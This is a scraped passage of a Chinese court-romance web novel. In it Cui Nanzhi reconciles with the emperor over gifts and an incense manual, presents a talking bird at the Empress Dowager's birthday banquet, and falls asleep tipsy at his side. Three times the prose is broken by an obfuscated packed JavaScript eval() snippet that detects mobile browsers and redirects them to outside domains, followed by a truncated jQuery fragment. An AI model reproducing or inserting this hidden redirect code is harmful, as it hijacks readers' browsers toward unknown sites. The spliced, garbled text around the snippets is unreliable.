崔南栀坐在马车里,难得没有挑起车帘。 一看到外面景象,她就想起曾经去找晋王府的回忆。 她当然找不到晋王府,根本就没有晋王这个人。 芳丹看着自家小娘子气鼓鼓的脸颊,想说点什么,又按捺下去。 谁会这么大胆在权贵遍地的长安冒充天潢贵胄,没想到竟是陛下本人…… 身份败露,也不会有常进宝躲在柱子后面偷偷朝她招手,也没有“晋王”再带她去延英殿前广场打马球。 一连过了半个多月,崔南栀不提不问,摸不清她还有没有生气,芳丹索性也不问了。 她偶尔还去太后那边,但从未见过天子,或许那次只是偶然遇见,也可能之后天子也在刻意避开她。 最后一捧木樨龙脑香燃尽,崔南栀拨了拨香灰,颇觉得可惜。 有宫娥捧着新折的花枝进来更换,经过崔南栀身边,一缕木樨花香钻入鼻腔。 几支木樨花被修剪去多余枝叶,身形清瘦,插在花瓶里正相宜。 她盯着花枝看了许久,宫娥有些手足无措,不安地问道:“崔娘子,是这花有什么问题吗?” 崔南栀回神:“这时节还有开得这么好的木樨花?” 不是要罚她,宫娥松了口气,笑着答道:“也是奴婢无意间发现的,稍远些的园子栽了几株,不知道为什么其他地方的木樨花都谢得差不多了,它们却开得很好。奴婢想着过了时间便要再等一年才能看到,便带些回来插瓶用。” “能带我去看看吗?” 宫娥应下,岂止是稍稍远些,她带的路几乎要绕到太液池另一侧去。 几株木樨花开得正盛,花香浓郁。 或许是因为位置偏僻,没什么人经过,匠人们也没太伤心,反倒叫它们成了秋末的一处美好景象。 不知何时宫娥已经悄悄退下,身后有踩着树枝落叶的脚步声。 崔南栀没回头,来人沉默了会儿,往前几步。 天子自带一股无形的压迫力,即便如此崔南栀还是强撑着不肯理他。 有肌肤相触的酥痒感传来,他似是伸手碰到她的肩颈。 崔南栀终于忍不住转身,就看到天子指尖捏着一只虫子。 虫子挣扎的四肢近在眼前,带来的视觉冲击实在太大,崔南栀终于绷不住,尖叫一声往后跑了好几步远。 “刚刚只是想帮崔娘子掸去虫子。”天子淡然地把它弹开,“怕崔娘子知道会不好控制,并非有意冒犯。” 想到刚刚有虫子她身上爬过,崔南栀浑身都不舒服。 “已经没了。”天子好心提醒道,“崔娘子可以安心。” 崔南栀咬着唇不说话,好不容易强装出来的镇定,都被这只虫子毁了个干净。 “崔娘子还在生朕的气吗?”他明知故问。 “刚刚多谢陛下帮臣女掸去虫子,但这是两码事,不可相提并论。” “那崔娘子看看,朕的赔礼合不合心意?” 天子扬手,常进宝不知道从哪窜出来,手上捧着一套盒子。 崔南栀不明所以,掀开盖子,里面是一条披帛,日光下流光溢彩,放在盒子里已如水波荡漾。 “这是域外进贡来的绸缎制成的。”常进宝道。 女郎大多喜欢精美衣饰的,崔南栀免不了俗,要不是在天子面前,她肯定当场就要挽上试试。 崔南栀十分不舍地挪开目光:“谢谢陛下,但太贵重了,臣女受不起。陛下还是留着赏给其他世家淑女吧。” 嘴硬,但实际行动不是如此,口是心非。 天子很快在心里给出点评。 “无妨,朕留着也用不上,回头直接送去郑家府上就行。” 他有没有在听她说话啊。 崔南栀拿他没办法,眼睁睁看着常进宝把东西送下去。 一定是木樨花香太浓,熏得她头晕。 事已至此,水落石出。 为什么宫娥不在附近花圃里折花枝,非要来这么远的地方,可见背后有他人授意。 “前些日子宫人收拾书房时找出来一本香谱,朕对香道一窍不通,不知道是什么时候放在书房的。”天子轻嗅花香,状似无意地提及。 “……什么香谱?”崔南栀上钩。 天子略加思索,报出一个人名:“朕记得崔娘子很喜欢制香,说不定听过此人?” 岂止是听过,这人的香谱很难得,据说天底下也没几本。 崔南栀住在宣州这种小地方,当然是没见过的。她到长安之后还去书铺子里问过,伙计们查遍库存也没找到。 果然皇宫里奇珍异宝繁多,连书籍都不一般。她很想要的一本书被天子轻飘飘地说出口,仿佛只是一本再寻常不过的闲杂书籍。 “略有了解而已。”崔南栀绕着衣带,眼睫眨动得频率都快了些。 “那本书应当还没被洒扫的宫人拿走,崔娘子感兴趣的话不如去看一看是不是那本?不然估摸着就要被宫人拿去藏书楼束之高阁了。” 这对崔南栀来说简直是天大的诱惑。 她不假思索答应,而后看到天子面上的笑意,意识到她又咬了钩,气鼓鼓地别开脸。 “崔娘子还生朕的气吗?”天子又问一遍。 崔南栀没有回答,轻轻哼了一声。 他轻笑:“消消气,崔小娘子,是朕错了。” 这本香谱才是陛下准备的杀手锏,不枉费他带着小徒弟们跑遍宫里各个地方,总算是找到了几株还在开放的木樨花,成功把崔娘子引诱来了。 香谱哪是什么宫人洒扫时候找到的,陛下书房压根儿就不允许寻常宫人进去,更别提动里面的东西。 陛下待崔娘子是真的上心,一次两次愿意放下身段不说,还能亲口跟崔娘子认错。 常进宝抹了把额上冷汗,又开始思考他的眼睛耳朵能不能保住,刚刚送了披帛就该找个地儿一边待着的,非杵在这,又看了点听了点他不该知道的东西。 小女郎脚步轻快,如春日烟云,轻盈地掠过身边。 香谱被摆在榻边桌案上,崔南栀翻开看了看,一头扎进其中。 她看得认真投入,顺势就倚在榻上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13725203|144948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天子没有打扰,示意常进宝把奏折搬来,他在一边批着折子。 和以往差不多的奏折内容,他今日看着却舒服不少,连琐碎的请安折子都批复了几句。 这会儿的崔南栀安安静静,眉目微敛,臻首低垂,露出秀美如兰花枝的皙白脖颈, 等眼睛酸涩,脖颈发僵。崔南栀一抬头,天色都暗了不少。 她惊得合上书,正正对上望过来的天子的目光。 “天色不早了,我得在宫门下钥前回去。”崔南栀恋恋不舍地把书放回去。 秋冬时节,天黑得更早,她不能像打马球那会儿一样玩到暮色四合才回家。 再晚些太阳就要落山了,要是路上被查问会麻烦很多。 天子颔首答应,见她还一步三回头地看向桌案,生出一股想逗逗她的心思。 “你若是喜欢,拿回去看也行。” “真的?”崔南栀眼睛发亮。 “等看完再送回来也行。”天子道,“记得要和披帛一起拿走。” 崔南栀脸颊腾地烧红,得到心爱书籍的喜悦感暂时压倒一切,她立时答应,也不再找什么冠冕堂皇的借口推辞。 回家路上,芳丹看着眼里闪闪发亮的自家小娘子,又无奈地叹气。 早上出门时候还小声嘀咕晋王如何圣人如何,傍晚回家,竟然开始夸奖圣人了。 小女郎的心思真是深如海底针,早上一个样,晚上一个样。 万幸的是圣人没有责怪小娘子,她还错认成晋王的时候,没少口无遮拦,圣人到底还是有肚量的。 崔南栀在车上还想翻看,被芳丹按下手:“车内颠簸,光线又昏暗,容易看坏眼睛。” 崔南栀目光一个劲儿地往书封面瞟,芳丹看向车里另一个木盒,问道:“这里面放着什么?” “是陛下给得披帛。”崔南栀打开盒子,锦缎自带淡淡光晕,无需繁复的刺绣,只是一块素色绸缎就足以让芳丹看愣住。 “常少监说是上回在太后那,我的披帛被勾坏了,陛下就命人裁了这块缎子做赔礼。”崔南栀把从常进宝那听来的解释复述一遍,“太贵重了,本来不想收的……但陛下说不收下披帛,就不把书借给我看。” 崔南栀叹气,还露出苦恼的神情。 芳丹满脸复杂——这话是不是就小娘子会信,让一国天子亲自为一位女郎挑选礼物,她还想拒绝掉。 不如编点什么别的天上掉馅饼的故事更容易让人信服。 偏偏这事儿还真的发生了,就落在自家小娘子头上。 “御赐的物件,小娘子可要收好,下回去向圣人谢恩时最好能穿着,以示圣恩浩荡。”芳丹提醒她。 崔南栀点点头:“我知道的,女官和我说过。” 她看着那块披帛,脑子里倏地冒出天子笑语—— “消消气,崔小娘子,是朕错了。” 芳丹一回头,看见小娘子脸上两抹红晕,艳若朝霞, 在她开口之前,崔南栀先一步否认:“是车里太闷了!” 芳丹语塞:“娘子,我还什么都没说呢……” 19. 第 19 章 第19章 深秋的庭院萧瑟不少,最亮眼的艳色就是廊下几盆菊花。 今年菊花开得格外的好,郑鹤荣也得了些,命人给各院子都送了几盆。 崔娘子的房门没关,女使们打理着花瓣,一抬头就能看到里边景象。 外面女使小厮们的细碎响动,崔南栀恍若未闻,捋起衣袖,露出白净的小臂,专心调着她的香药。 书里的方子许多是她没见过的,崔南栀想着做些新的熏香,等还书时候一并送给陛下。 长时间低着头,崔南栀揉了揉发酸的脖颈,仰起脸准备歇一歇。 余光处,长廊上出现个令她讶异的身影。 女使扶着郑家老夫人往她这来,崔南栀赶紧放下手里的调匙,快步出去迎接。 郑老夫人腿脚尚可,不知道怎么回事,走得又快又急,嘴里又含糊喊着“菀菀”“阿菀”。 “叨扰崔娘子了,老太太今日一个劲儿要见已经出嫁的郑娘子。”女使额上一层薄汗,追赶得气喘吁吁。 老夫人平时不出门,今天突然闹着要见菀娘,但郑娘子早就嫁出去了,女使想起那日老夫人把崔南栀错认成郑娘子的事,只能来求助崔南栀。 崔南栀一出现,郑老夫人顿时安静下来,直直地盯着她看,像是要分辨她是不是自己心爱的女儿。 “先扶老太太进屋坐。”崔南栀道。 郑老夫人没有挣扎,很听话地把手搭在她胳膊上。 对于郑家这位老夫人,崔南栀接触不多,只在初来乍到郑家时安抚她几句。 听祝萦说郑老夫人现在头脑一会儿清醒一会儿糊涂,平日里都有专门的女使轮流伺候,醒着的时候还能与女使聊天,糊涂起来就认不得人。 在宣州天天和阿娘生活在一起,她对阿娘的生活习惯早就烂熟于心,要模仿郑菀的言行也不难。 十七八岁的郑菀已在长安有些名气,性子应当比她端庄许多。 女使为郑老夫人整理好奔走时弄乱的衣裳,面露感激:“谢谢崔娘子,老太太现在已经好多了。” 桌上还有崔南栀没来得及收拾的香具,郑老夫人看起来是真把她当成郑菀了,喃喃道:“阿菀是在调香吗?” “是。”崔南栀答道。 在郑老夫人的脑海里,她像是做了场梦,梦里与心爱的女儿分别许久,哪里都找不到她。还好梦醒来之后郑菀又忽然出现在她面前,温温柔柔地笑着,给她试新学的制香方子,问她好不好闻。 崔南栀的身形逐渐与郑菀重叠,郑老夫人拉住她的衣袖。崔南栀手一抖,香料撒出来少许。 “菀菀怎么不和阿娘说说话,是还在怪阿娘吗?” 这超出了崔南栀的认知范围。 郑菀从未和她说过与郑老夫人有何矛盾,她每次提起远在长安的母家,都是和和睦睦的一家子。 “阿娘不是反对你嫁给崔积繁,他长辈与博陵崔氏决裂,空有崔姓名头却不得崔氏背景,将来在官场上少不得要被崔氏子弟为难……你看中他满腹经纶,却未必能有施展才华的余地……”郑老夫人一口气讲了很长的话,女使轻拍后背给她顺气。 崔南栀一脸茫然。 女使歉然道:“每年春秋时节,老太太就容易不清醒,崔娘子莫怪。” 可老夫人刚刚说话的样子,不像是常规意义上的不清醒。女使或许不知道,但阿耶是与崔南栀说过的,先帝不思进取整日沉迷女色,世家把持朝政,直到现在的天子登基,才逐渐好转起来。 也许郑老夫人是真的对当年的事心有愧疚,多年后的今天,她把崔南栀错认成郑菀,才有机会说出口。 ……原来她阿耶与崔氏有所关联吗? 崔积繁对自己的身世避讳不言,崔南栀也不知道他们到底有什么渊源。 听郑老夫人的意思,好像祖辈是博陵崔氏的人。 崔南栀脑子晕乎乎的,决心等下次见到阿娘时候再问清楚。 郑老夫人折腾半天也累了,崔南栀叫来两个女使帮着一块儿扶老夫人回去歇息。 · 跟着书上的步骤和方子来做,崔南栀很快就复刻出几味香药,包好了一同带去宫里送给天子。 她还书速度如此之快,反倒让天子惊讶。 小女郎眼下透着淡淡的青灰,一看就是挑灯夜战了,问起借书的事,崔南栀道已经把书抄了一遍。 天子语塞,半晌道:“不用这么急,在你那多放些时日也无妨。” 然而小女郎说起自己喜欢的事,哪里顾得上那么多,眼里熠熠生辉。 连天子也被一并带着沉浸其中。 他把玩着盒子里的香丸,指尖沾上一点细碎的粉末:“崔娘子的好意朕心领了,将来还有什么难事,也大可直接来找朕。” 一国之君的许诺分量自然不同,崔南栀好想问问能把她和太子婚约取消吗。 天子似是猜出她的想法,脸上明晃晃写着“不行”。 崔南栀只好先谢过他:“多谢陛下,不过臣女暂时也没什么其他难事。” “怎么又改口了?” “……皇叔。”崔南栀拗不过。 晋王和圣人都是皇叔,怎么她叫晋王如此顺口,叫圣人的时候就觉得怪怪的,仿佛舌头要打个结才能讲出口。 崔南栀模模糊糊觉得还有另一层意思在,但又想不出到底是什么。 女郎今日穿着他赠予的披帛,正如天子想象的那般,十分衬她的美貌。 如此流光溢彩的面料,换作外貌逊色些的女郎就要被一条死物压住风头,沦为凸显它名贵身价的陪衬。 挽在崔南栀臂间,手舞足蹈时披帛跟着一起飘动,显得小女郎灵动又娇俏。 “皇叔?” 崔南栀不知所措地唤他。 他眼神稍显直白,以至于崔南栀低头看了看自己的衣着,还以为有什么不妥当的地方。 视线如蜻蜓点水,一瞬间相碰。 天子又回到那副淡然模样:“披帛很适合你。” “真的吗?皇叔送得实在是太贵重,挑了好久才找到能与它相配的衣裙。” “下个月太后寿宴,也可以穿它来。” 崔南栀眨了眨眼,露出明快笑意:“好呀。” 话题转到太后的寿宴,仿佛刚刚她隐约觉得陛下意有所指只是错觉。 “太后的寿宴……是不是得送贺礼?”小女郎又开始卷衣带,面露难色。 她这几次陪同下来,只知道太后最近喜欢域外的珍宝,她上哪去找?就算有商人出售,把她抵了也买不起啊。 她胡思乱想的模样尽收眼底,眉头越皱越紧。 “宫里什么奇珍异宝没有,犯不着你去费劲搜罗。” 崔南栀讷讷:“那我总不能空手去……” 天子敲敲桌案叫来常进宝:“之前那一批贡品里,有什么有趣些的?” 常进宝挠头,苦思冥想之后道:“红珊瑚树,夜明珠,水精念珠,还有……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13725204|144948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 天子蹙眉,常进宝立即收声,转了转眼珠打量一番。 陛下不是要赏崔娘子?或许是私底下送些有趣的玩意儿,不想总是绫罗绸缎金银珠宝之类俗气物品,想送点新奇有趣的? “岭南那边送了只南鸟来,会说吉祥话,嘴甜得很。”常进宝道。 “你觉得呢?”他望向崔南栀。 崔南栀赶紧点头,送鸟好啊,听起来好像不是很贵,她多教那只鸟讲些吉祥话岂不是正中太后欢心。 常进宝得了令出去取鸟来,还在疑惑崔娘子原来这么喜欢鸟吗?陛下果然神机妙算。 驯鸟的宫人提着鸟笼子来,艳丽的小鸟跳来跳去,崔南栀想去逗它,险些被啄一口。 “这鸟第一次见生人会害怕,崔娘子与它多相处些时日。它特别聪明,学什么都快。”宫人说道,南鸟在他手上就乖顺极了,爪子牢牢扒着他的手指。 “说点吉祥话。”宫人摸摸它的头。 南鸟立即张口来了几句“吉祥如意”“花容月貌”。 “连鸟都懂得崔娘子的美丽。”宫人说道。 崔南栀一下子不好意思,记下心得,高高兴兴地把南鸟带走。 这只鸟果然很聪明,她重复几遍,南鸟就能模仿个大概,再加以练习就可以说得字腔正圆。 小半个月工夫,南鸟已经能把崔南栀准备的贺词讲个大半。 宫里也不只有她在筹备太后寿宴的贺礼。 属官搜罗了些珍宝,通通被太子否决。 “没见识,这种东西哪能入太后的眼。”太子一着急就来回踱步,“去年送了手抄的佛经,前年是千寿图,还能送点什么?” 属官脑子转得飞快:“之前岭南那不是送了只鸟来?咱们不如送鸟吧。” “一只鸟?”太子觉得寒酸。 “不是普通的鸟,它特别会说话。”属官道,“据说比别的鹦鹉鹩哥儿之类的声音都好听,跟唱歌似的。” 太子生了兴趣:“在哪?我去看看。” 他们在驯鸟处扑了个空,宫人道南鸟前段日子就被崔娘子提走了。 当着宫人的面,太子不好说什么,免得要被人议论他小肚鸡肠。 一转头他就领着人往崔南栀那去。 崔南栀在给南鸟喂瓜子,就听小黄门说太子殿下往这来了。 “他来做什么?”崔南栀纳闷。 小黄门摇头:“奴婢不知,不过看殿下的脸色不大好看。” 不会又来找她麻烦吧。 崔南栀不想搭理他,太子特地放缓脚步,心想宫人都去禀报了,她总该亲自出来迎接她。 事与愿违,崔南栀完全没有要出来的意思。 太子冷哼一声,大步跨过门槛,就看到鸟笼子摆在桌上,边上还散落着几个瓜子壳。 “果然,鸟在你这。” 崔南栀迷惑:“当然在我这,这是我的鸟啊。” “什么你的鸟?”太子伸手想去摸笼子,被崔南栀啪一下拍开。 “你——”太子不可置信地看着手背浮起淡淡红印,“你打我?” “太子殿下有所不知,这鸟怕生,会啄人的。”崔南栀故意把手指伸进栏杆间隙,南鸟亲昵地蹭蹭她的指腹。 太子正想着怎么找理由连鸟带笼子一起提走。 兴许是听到“太子殿下”这个称呼,激起了南鸟某些记忆。 它咂咂嘴,当着殿内所有人的面开始大叫:“臭太子,真讨厌——” 20. 第 20 章 第20章 “太子是大坏蛋——” “真讨厌——” 南鸟叫得起劲,太子此刻却半分都不想欣赏它婉转悦耳的嗓音。 “闭嘴!” 太子恶狠狠的语气令它感到威胁,竟然真的闭嘴了。 殿内一片死寂,罪魁祸首还不知道自己做错了事,扑棱几下翅膀开始低头梳理羽毛。 “崔南栀!” 崔南栀后退几步,还想装傻:“你……你喊我干什么,又不是我骂你的,这只鸟可不叫崔南栀……” “它又不认得我,还能无缘无故骂我不成?不是你天天在它面前说我坏话,它能学会?” 说着太子伸手要去抓鸟,赶在太子碰到之前,崔南栀把笼子护住:“你要干什么!” “拔光鸟毛,炖了烤了煮了,看我心情。”太子冷笑。 “不行!这是我给太后寿宴的贺礼!”崔南栀一着急,嘴快直接说出来,“你不准碰它!” 似是为了验证她说法的可信度,南鸟又开始念贺词:“祝太后娘娘年年岁岁身体康健,如南山之寿,松柏之茂——” “你看,我教它说得是贺寿词,那些乱七八糟的……反正不是我教的!”女郎水盈盈一双眸子望向他, 太子恨不得把鸟嘴给绑了。 这是鸟是不是听到什么词就会开始叽叽哇哇乱叫! 既是贺礼,周围又有那么多宫人看着,他还能跟一只畜生杠上不成? 太子背影渐渐远去,消失在长廊尽头,崔南栀松一口气,曲起手指弹了下南鸟鸟嘴:“吓死我了,差点以为你真要被拔毛炖汤。” 驯鸟宫人说它聪明,崔南栀教它什么,重复几遍就会讲个大概。没想到她平时偷偷抱怨的话也被南鸟听去,不声不响学了个大半,直接在太子面前上演一出好戏。 还好太子不打算跟它一般见识,也可能是下不来面子。如果他真要上手去抢鸟笼,崔南栀那点力气肯定是不够用的。 南鸟不知道自己刚刚大难临头,从鬼门关边上走了一遭,温顺地蹭蹭她的手指。 · 寿宴当日,太后礼佛注重修身养性,特地叮嘱了不要大操大办。 即便只有长安的公卿女眷赴宴,命妇院前也聚集了一大群人等候,花枝招展,香气扑鼻。 陈夫人被特许与崔南栀一起来,她自忖出席过许多贵妇人们的宴会,在这儿也犯忐忑。 “舅母,我们晚点下车吧。”崔南栀从车帘缝隙里偷偷往外看,“好多人啊。” “外面风大,不急着出去。”陈夫人找个借口。 太后梳妆完毕,正打量镜中的妆容发饰,女官回禀道已有人陆续入座。 “知道了。”太后抬眸,“陛下呢?” “陛下还在与大臣们议事,让奴婢们先行回来,时候差不多了陛下自会赴宴。” 太后嗤笑:“女眷一多他就躲,什么心思还怕我看不出来。” 崔南栀再小心翼翼也不可能完全避开人群,一出现就有许多道目光投向她。 或好奇,或轻蔑。 崔南栀装作没看见,按着女官教授的流程入座。 她的座位与太子的座位排在一处,盛装打扮后的崔南栀明艳动人,一瞬间叫他挪不开眼。 “殿下看够了吗?” 一张嘴,还是不讨喜。 太子冷哼一声,暗道她要是个哑巴就好了,光看脸就够了,千万别说话。 “我后来才知道原来殿下也想要那只南鸟做贺礼,抢先殿下一步,是臣女的不是。” 偏偏她还不知趣儿地凑过来问,听着像道歉,其实半点歉意都没有。 “不知道殿下准备了什么贺礼?” 崔南栀一靠近,他就闻到她身上的香气,明明不是浓香,却能准确的钻入他鼻腔里。 “到时候你就知道了。”太子莫名地被她搅乱心跳,“太后面前管好鸟嘴。” 他堂堂东宫太子,一国储君,竟然会被一只鸟拿捏住。 太后天子坐于上首,一道道贺礼被呈上来过目。 在座的女眷们已是长安翘楚,呈上来的珍宝依旧有不少令她们啧啧称奇。 太后始终是淡淡的神情,唇角微扬,没有表现出特别满意,也没有对哪件贺礼嫌恶。 陛下说得没错,太后什么奇珍异宝没见过,再好的东西也不会比宫里的更好。他们呈上来的东西,说不定宫里哪个犄角旮旯里就摆着类似的装饰。 快到她了,再过几个就是。 崔南栀掐着手心,太子注意到她的紧张不安,往外一瞥,果然有个小黄门提着个鸟笼形状的东西,外面盖了块红绸。 轮到崔南栀,她慢慢掀开红绸,羽毛鲜艳的鸟儿在笼子里跳来跳去。 崔南栀深呼吸,让南鸟开始念诵贺寿词。 太后的目光凝在南鸟上,片刻后,终于露出今夜第一个笑容:“这鸟倒是很机灵。” “既然阿娘喜欢,就送去蓬莱殿养着吧。”天子发话道。 “能讨娘娘欢心是臣女的福气。”崔南栀颊边凹现小小梨涡,下去前还不忘朝天子投去感激的眼神。 天子神色淡然。 其实不论崔南栀送什么,只要不是太离谱,太后都会点头的。 与其是她喜欢那只南鸟,不如说是太后对崔南栀的肯定,给众人看她的态度,她认可崔南栀将来成为东宫的女主人。 崔南栀回席间,心口还怦怦直跳,刚刚的紧张刺激不亚于仙人渡劫。 旁人再送什么她已经不再多关注,太子送了幅出自名家手笔的海上仙山图,太后点了点头,也没有过多表示。 “你别想着用那只鸟来讨好太后,想从这条路来退婚是行不通的。”太子压低声音,“太后越是喜欢你,对你满意,越不可能让你解除婚约。你要是真想着摆脱我,不如想想别的法子。” 要不是周围还有人,崔南栀真想冲他翻个大白眼。 “我跟你说话呢,你怎么不理我?” 崔南栀拿起一个梨子塞进他嘴里:“你话真多。” 太子被梨堵住嘴,唔唔几声,咬下一口梨肉,脆爽多汁。 边上的贵妇人以扇掩面,感慨道:“还是未婚夫妻呢,已经打情骂俏了,到底是小年轻更活泼些呀。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13725205|144948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔南栀和太子对视一眼,各自扭头拒绝看对方。 宴席过半,大半壶酒下去,崔南栀头有点发晕。 她很少喝酒,在宣州时候顶多过年时候用筷子蘸了尝一点,相比米酒的滋味,她更喜欢香饮子多些。 因此崔南栀对自己的酒量多少毫无概念,酒意上来,脸颊泛起绯色,沁出一层薄汗,黏在身上十分难受。 席间似乎也无人在意她,崔南栀提着裙摆,悄悄溜出去。 凉风拂面,醉意吹散几分。 崔南栀不知道她要去哪,也无处可去,找了一处台阶坐下。 接近十五的月亮近乎圆满,崔南栀捧着脸看得出神。 她阿娘这会儿是不是也在抬头赏月,宣州的月亮和长安的月亮是同一个吗? 她呆呆地望天,连天子什么时候走到身边也没发觉。 天子甚少见她如此落寞的神情,他几次见崔南栀都是笑意明媚,偶有生气不快,却没有过现在的模样。 她呆坐了一盏茶多的时间,天子出声提醒:“地上凉,寒气太重。” 崔南栀后知后觉地回过神,眸中水盈盈的,漫上氤氲雾气:“陛下……” 她还认得出人,没有醉得太彻底。 台阶凉嗖嗖的,可崔南栀头晕乎乎的,感觉身子越发沉重怠惰,实在是不想起身。 继续坐在台阶上少不得要冻得肚子痛,天子解下外衫铺在地上,崔南栀慢吞吞地往边上挪点。 外衫还沾着未完全消散的体温,比冰冷的台阶舒服许多。 天子坐在她边上。 崔南栀一离席天子也跟着离开,找到崔南栀时候就看到她可怜巴巴的模样。 “你今日得了太后的夸奖,怎么还闷闷不乐的?” 崔南栀声音弱弱的:“我有点……有点想家了,想我阿娘。” 说着眼眶发酸,视线模模糊糊,像是被水汽挡住。 太后寿宴这样喜庆日子,她哭出来是不是很不好? 崔南栀自以为掩藏得很好,实则从天子的角度看去,她忍得肩膀都在发抖。 天子心生怜意,轻拍了拍她的背。 “这么舍不得你阿娘,怎么还独身一人来长安。” 她抬起泪汪汪的眼,鼻尖都红了:“难道我可以不来吗?” 天子想了下,坦诚道:“不能,这是抗旨。” 小女郎的眼泪啪一下掉下来:“阿娘说她就是在长安长大的,希望我也去……” 她半醉时整个人行动都慢半拍,讲话也是慢慢的,每说一句就要停下来想一想才能继续下句,艶红饱满的唇瓣被她咬出一圈浅浅齿痕。 天子已经理解不了自己现在的行为了。 若只是照拂恩人的女儿,大可找几个宫人过来安顿她,而不是像现在,他生出一种将崔南栀拥入怀中柔声安慰的冲动。 他走神片刻,手背手腕被抓住,掌心被放进一团软绵绵的触感。 一阵酥麻感遽然贯穿他的脊背。 崔南栀蹭蹭他的手心,像是乖顺的小猫,含糊不清道了句“谢谢皇叔”,而后头一歪睡倒在他肩头。 21. 第 21 章 第21章 ……这就睡着了? 天子扶住她的肩,眼下的情况喊人来很容易吵醒她,只能等常进宝自己有眼色地过来了。 女郎的呼吸声清浅,胸口微微起伏。 指尖抚上女郎的下颔,轻轻摩挲。 原来女子的肌肤如此柔软细腻,只是刚触碰,就不想再松开手。 天子倏地记起他教崔南栀马球的第一天,崔南栀上不去马,是他拽上去的。 女郎的手腕盈盈一握,仿佛稍稍用力就会留下痕迹。 现在她整个人安安静静躺在身侧,很像幼时姊妹们的小猫,会主动靠近信任的人,给他们摸毛茸茸的肚皮。 他逼迫自己按下翻腾的欲念,抬眸望向夜空繁星。 常进宝那点眼力劲儿都去哪了,往常不用天子开口,动动手指他就知道该怎么做,这会儿却不知道在哪躲着偷懒。 短暂的时间对天子而言变成了一场漫长的折磨,崔南栀睡得香甜,丝毫不知道他现在是一种怎么样的感受。 常进宝在角落里蹲着哈气搓手,陛下要与崔娘子独处,他识趣儿地躲起来了,免得打扰陛下雅兴。 月下谈心,看来陛下内心也很诗情画意,他还以为早就被国事和政务塞得满满当当,半点温软余地都不留。 怎么没声儿了? 他刚还听到陛下和崔娘子在说话呢。 常进宝疑惑地探出头去,崔娘子躺在陛下腿上…… 她躺陛下腿上! 常进宝狠狠拧一把大腿,痛得五官都挤成一堆——不是在做梦啊,那他和陛下之间,肯定有一个脑子坏了。 常进宝蹑手蹑脚地上前,看看陛下的表情,不知是因为他被打断了感到不快,还是……还是什么别的原因? 崔娘子睡得正酣,他真是第一次见到能如此心安理得躺在陛下腿上睡觉的女郎。若是她现在睁眼与天子对视,怕是会被吓得当场清醒。 “她今日和谁一起来的?”天子沉声问道。 常进宝道:“与郑鹤荣郑大人之妻陈夫人一起来的,是崔娘子的舅母。” “让她过来接崔南栀回去。” 常进宝道是,出去让人去通知陈夫人。 回去时天子已经起身,崔娘子身下垫着的衣服正是陛下的外袍。 触及天子的目光,常进宝赶紧解下外衣,想去把崔南栀身下的衣服替换掉:“陛下,夜深露寒,龙体为重。” 天子一把扯过,直接盖在崔南栀身上。 常进宝:“……” 他是想让崔南栀垫着他的衣服,让陛下把外衫披上避免受凉。 没有给崔南栀当被子盖的意思。 好了,现在主仆二人都解了外衫。 宫人的衣服本就单薄些,风一吹,常进宝冻得打个哆嗦, · 陈夫人正在席间与其他夫人们交谈,外甥女刚得了太后青眼,来笼络陈夫人的也不少。 女官上前请安,打算了贵妇人之间的交际。 听说与崔南栀有关,陈夫人放下杯盏跟上去。 一路踩着碎叶枯枝,离身后觥筹交错的殿宇越来越远,陈夫人愈发疑惑到底是要带她去哪儿? 僻静廊下,她看到崔南栀躺在那,周围并无他人。 这么偏僻的地方……她是怎么一个人跑来的?身边连个宫人都没有。 “怎么在这睡着呢?”陈夫人快步上前,捧着她的脸细看,脸颊被发丝压出痕迹,红红一片。 还好没有伤痕之类的,看起来像是睡着了,呼吸间还闻得到淡淡酒气。 女官道:“崔娘子醉了,陈夫人先行带崔娘子回家安歇吧。” 陈夫人连连道好,外甥女一个人躺在这,她刚见到吓得魂都要飞了,顾不上思考别的,顺着女官的意思来。 陈夫人拍拍崔南栀的脸:“醒醒,别睡了。” 崔南栀拱了拱头,唇间含糊不清地应一声。 陈夫人犯难,她和女官两个人倒是能抱动崔南栀,但也太不雅观了。要是让旁人看到,得说多少风凉话。 半晌,她把手背贴上崔南栀的脖颈。 冰凉凉的手背猛地接触温热肌肤,崔南栀冻得下意识就想往后躲:“好冷——” “快起来,咱们回家了。” “……是舅母?”她缓缓睁开眼睛,好一会儿才看清眼前的脸。 她刚刚是躺在舅母身边吗……? 明明记得身处一个温热的怀抱,陈夫人的手摸上去却很冷。 “还认得我就好。”陈夫人扶起她,把崔南栀微乱的鬓发钗环拨正,“外面冷,回家再睡。” 崔南栀还晕乎乎的,乖巧地点头答应。 视野不可及处,天子与常进宝站在刚刚的拐角处。 一直到看不见崔南栀和陈夫人的背影了,天子才往回走。 